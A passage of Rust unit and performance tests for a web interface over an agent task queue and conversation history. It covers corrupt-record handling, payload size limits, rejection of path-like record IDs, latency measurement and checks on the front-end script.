24467            "body".into(),
24468            PathBuf::from("/repo"),
24469            Source::Agent {
24470                run: talk_id.clone(),
24471                node: "chat".into(),
24472            },
24473        );
24474        task.runs = vec![run.id.clone()];
24475        ui.queue.put(&mut task).unwrap();
24476        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24477        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24478        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24479        assert!(
24480            run_detail(State(ui.clone()), Path(run.id.clone()))
24481                .await
24482                .is_ok()
24483        );
24484        assert!(
24485            talk_sections(State(ui.clone()), Path(talk_id.clone()))
24486                .await
24487                .is_ok()
24488        );
24489        // Previously indexed corruption must not masquerade as no relationship.
24490        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24491        assert!(ui.find_task_for_run(&run.id).is_err());
24492        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24493        ui.queue.put(&mut task).unwrap();
24494        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24495    }
24496
24497    #[tokio::test]
24498    async fn conversation_sections_omit_large_task_instructions() {
24499        let home = tempfile::tempdir().unwrap();
24500        let ui = delta_test_ui(home.path());
24501        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24502        let mut task = Task::new(
24503            "filed task".into(),
24504            "large instruction ".repeat(65536),
24505            PathBuf::from("/repo"),
24506            Source::Agent {
24507                run: id.clone(),
24508                node: "chat".into(),
24509            },
24510        );
24511        ui.queue.put(&mut task).unwrap();
24512        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24513        assert_eq!(sections["tasks"][0]["id"], task.id);
24514        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24515        assert!(sections["tasks"][0].get("instruction").is_none());
24516        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
24517    }
24518
24519    #[test]
24520    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24521        let home = tempfile::tempdir().unwrap();
24522        let talks = Talks::at(home.path().join("talks"));
24523        seed_talk_at(&talks, "20261019-000001-abcd", "open");
24524        seed_talk_at(&talks, "20261019-000002-abcd", "open");
24525        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24526        assert!(resolve_talk(&talks, "../outside").is_err());
24527        assert!(resolve_talk(&talks, "abcd").is_err());
24528        assert_eq!(
24529            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24530            "20261019-000001-abcd"
24531        );
24532    }
24533
24534    include!(concat!(
24535        env!("CARGO_MANIFEST_DIR"),
24536        "/tests/web_latency/baseline.rs"
24537    ));
24538
24539    include!(concat!(
24540        env!("CARGO_MANIFEST_DIR"),
24541        "/tests/web_latency/lists.rs"
24542    ));
24543
24544    #[tokio::test]
24545    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24546    async fn web_history_latency_measurement() {
24547        use std::time::Instant;
24548        let home = tempfile::tempdir().unwrap();
24549        let ui = delta_test_ui(home.path());
24550        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24551        let mut template = ui.talks.get(&id).unwrap();
24552        template.turns = serde_json::from_value(serde_json::json!([{
24553            "who": "operator", "body": "Show the accumulated work and its current status.",
24554            "at": Timestamp::now().to_string(),
24555        }]))
24556        .unwrap();
24557        std::fs::write(
24558            ui.talks.path_of(&id),
24559            serde_json::to_vec(&template).unwrap(),
24560        )
24561        .unwrap();
24562        let count = std::env::var("MAGI_BENCH_RECORDS")
24563            .ok()
24564            .and_then(|s| s.parse::<usize>().ok())
24565            .unwrap_or(1000);
24566        for i in 0..count {
24567            template.id = format!("20261019-{i:06}-history");
24568            template.pending = "history ".repeat(2048);
24569            std::fs::write(
24570                ui.talks.path_of(&template.id),
24571                serde_json::to_vec(&template).unwrap(),
24572            )
24573            .unwrap();
24574            let mut task = Task::new(
24575                "old task".into(),
24576                "instruction ".repeat(2048),
24577                PathBuf::from("/repo"),
24578                Source::Human,
24579            );
24580            task.id = format!("20261019-{i:06}-task");
24581            ui.queue.put(&mut task).unwrap();
24582        }
24583        for baseline in [true, false] {
24584            for clients in [1, 4] {
24585                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24586                let mut samples = Vec::new();
24587                for _ in 0..12 {
24588                    let mut jobs = Vec::new();
24589                    for _ in 0..clients {
24590                        let ui = ui.clone();
24591                        let id = id.clone();
24592                        jobs.push(tokio::spawn(async move {
24593                            let start = Instant::now();
24594                            if baseline {
24595                                let response =
24596                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24597                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24598                                return (
24599                                    elapsed,
24600                                    elapsed,
24601                                    serde_json::to_vec(&response).unwrap().len(),
24602                                );
24603                            }
24604                            let core = talk_core(State(ui.clone()), Path(id.clone()));
24605                            let secondary = talk_sections(State(ui), Path(id));
24606                            let (first, total) = tokio::join!(
24607                                async {
24608                                    let value = core.await.unwrap().0;
24609                                    (
24610                                        start.elapsed().as_secs_f64() * 1000.0,
24611                                        serde_json::to_vec(&value).unwrap().len(),
24612                                    )
24613                                },
24614                                async {
24615                                    let value = secondary.await.unwrap().0;
24616                                    (
24617                                        start.elapsed().as_secs_f64() * 1000.0,
24618                                        serde_json::to_vec(&value).unwrap().len(),
24619                                    )
24620                                }
24621                            );
24622                            (first.0, first.0.max(total.0), first.1 + total.1)
24623                        }));
24624                    }
24625                    for job in jobs {
24626                        samples.push(job.await.unwrap());
24627                    }
24628                }
24629                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24630                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24631                first.sort_by(f64::total_cmp);
24632                total.sort_by(f64::total_cmp);
24633                let n = first.len();
24634                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24635                println!(
24636                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24637                    first[n / 2],
24638                    first[(n * 95 / 100).min(n - 1)],
24639                    total[n / 2],
24640                    total[(n * 95 / 100).min(n - 1)],
24641                    samples[0].2
24642                );
24643            }
24644        }
24645    }
24646
24647    #[test]
24648    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24649        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
24650        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24651        assert!(APP_JS.contains("function nextRunRequest(id)"));
24652        assert!(APP_JS.contains("function runShell(id, summary)"));
24653        assert!(APP_JS.contains("function nextTaskRequest(id)"));
24654        assert!(APP_JS.contains("function taskShell(id, summary)"));
24655        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24656    }
24657}